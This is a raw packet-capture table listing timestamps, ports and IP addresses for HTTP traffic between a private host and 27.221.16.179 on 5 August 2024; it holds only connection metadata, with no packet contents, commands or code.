Aug 5, 2024 12:01:43.962141037 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.966362000 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.966396093 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:44.045315027 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:44.046063900 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:44.046125889 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:44.046159029 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:44.051422119 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:44.051510096 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:45.567791939 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:45.572659016 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:45.572753906 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:45.572875977 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:45.577792883 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:46.712327957 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:46.712348938 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:46.712361097 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:46.712414026 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:46.712490082 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:46.712502003 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:46.712513924 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:46.712526083 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:46.712527037 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:46.712541103 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:46.712552071 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:46.712579966 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:46.712678909 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:46.712692022 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:46.712729931 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:46.712735891 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:46.717456102 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:46.717510939 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.012223005 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.012248039 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.012259960 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.012379885 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.012392998 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.012392998 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.012471914 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.012475014 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.012526035 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.012530088 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.012541056 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.012578011 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.012924910 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.013016939 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.013027906 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.013065100 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.013106108 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.013118982 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.013154030 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.013571978 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.013618946 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.013633013 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.013644934 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.013684988 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.319991112 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.320019960 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.320031881 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.320046902 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.320063114 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.320172071 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.320200920 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.320200920 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.320277929 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.320277929 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.320319891 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.320338011 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.320369005 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.320425034 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.320437908 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.320453882 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.320472002 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.320519924 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.321258068 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.321351051 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.321398020 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.321506977 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.321609020 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.321621895 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.321633101 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.321655035 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.321686983 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.403600931 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.454643965 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.564038038 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.564053059 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.564064980 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.564088106 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.564162016 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.564171076 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.564222097 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.564377069 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.564397097 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.564423084 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.564471960 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.564491034 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.564515114 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.564594030 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.564605951 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.564640045 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.565207005 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.565217972 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.565234900 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.565274000 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.565304995 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.565305948 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.565330982 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.565373898 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.565860987 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.565926075 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.565937996 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.565979958 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.566030025 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.566041946 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.566051960 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.566082001 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.566133976 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.969866037 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.969902039 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.969912052 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.969923973 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.969937086 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.969947100 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.969981909 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.970103979 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970122099 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970134020 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970155954 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970165968 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.970169067 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970180035 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970204115 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.970218897 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970230103 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970242977 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970247030 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.970283985 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.970283985 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.970508099 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970518112 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970535994 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970546961 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970558882 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970565081 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.970576048 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970578909 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970585108 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970587015 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970598936 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970611095 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.970652103 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.970652103 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:47.970920086 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970938921 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970948935 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:47.970994949 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.409281015 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409379005 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409389973 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409408092 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409419060 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409430027 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409497976 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.409548998 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409559965 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409569979 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409579992 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409590006 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409599066 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.409601927 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409692049 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.409857035 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409867048 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409877062 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409888029 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409898043 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409909010 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409918070 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409931898 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.409948111 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.409949064 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.410022020 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.410238028 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.410249949 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.410259962 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.410270929 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.410275936 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.410311937 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.410316944 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.410329103 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.410339117 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.410351992 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.410361052 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.410371065 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.410371065 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.410382032 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.410480976 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.410787106 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.410866976 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.632556915 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.632613897 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.632725000 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.632793903 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.632807016 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.632842064 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.632935047 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.632946014 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.632960081 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.632972002 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.632977962 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.632985115 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.633002043 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.633047104 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.633186102 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.633198023 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.633208036 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.633219957 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.633233070 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.633241892 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.633270979 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.633328915 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.633341074 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.633382082 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.633429050 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.633471012 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.634536028 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.634582996 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.634588957 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.634633064 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.634700060 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.634718895 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.634736061 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.634747028 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.634757996 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.634787083 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.634819984 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.634913921 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.634926081 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.634972095 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.635009050 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.635020971 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.635031939 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.635073900 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.635262012 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.635273933 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.635286093 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.635298967 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.635313034 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.635345936 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.635745049 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.635797977 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.635807037 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.635819912 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.635859966 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.635931015 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.635945082 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.635955095 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.636003971 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.994378090 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994394064 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994404078 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994417906 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994429111 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994440079 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994451046 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994463921 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994463921 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.994483948 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994497061 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994501114 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.994508028 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994513035 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.994522095 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994534016 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994543076 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.994546890 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994558096 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994566917 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994571924 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.994580030 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994591951 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994597912 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.994604111 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994613886 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994625092 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994643927 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.994643927 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.994656086 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.994658947 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994669914 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994680882 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994693041 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994703054 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.994703054 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994714975 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994725943 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994725943 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.994736910 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994740963 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.994749069 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994760990 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994771004 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994776964 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.994781017 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994792938 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994792938 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.994806051 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.994821072 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.994832039 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.995152950 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.995172977 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.995182991 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.995196104 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.995206118 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.995215893 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.995219946 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.995245934 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:48.995285034 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:48.995769978 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.107770920 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.107784033 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.107796907 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.107865095 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.107897043 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.107975006 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.107980013 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.108001947 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.108031034 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.108048916 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.108062029 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:49.108118057 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:49.108139038 CEST	80	49906	27.221.16.179	192.168.2.7
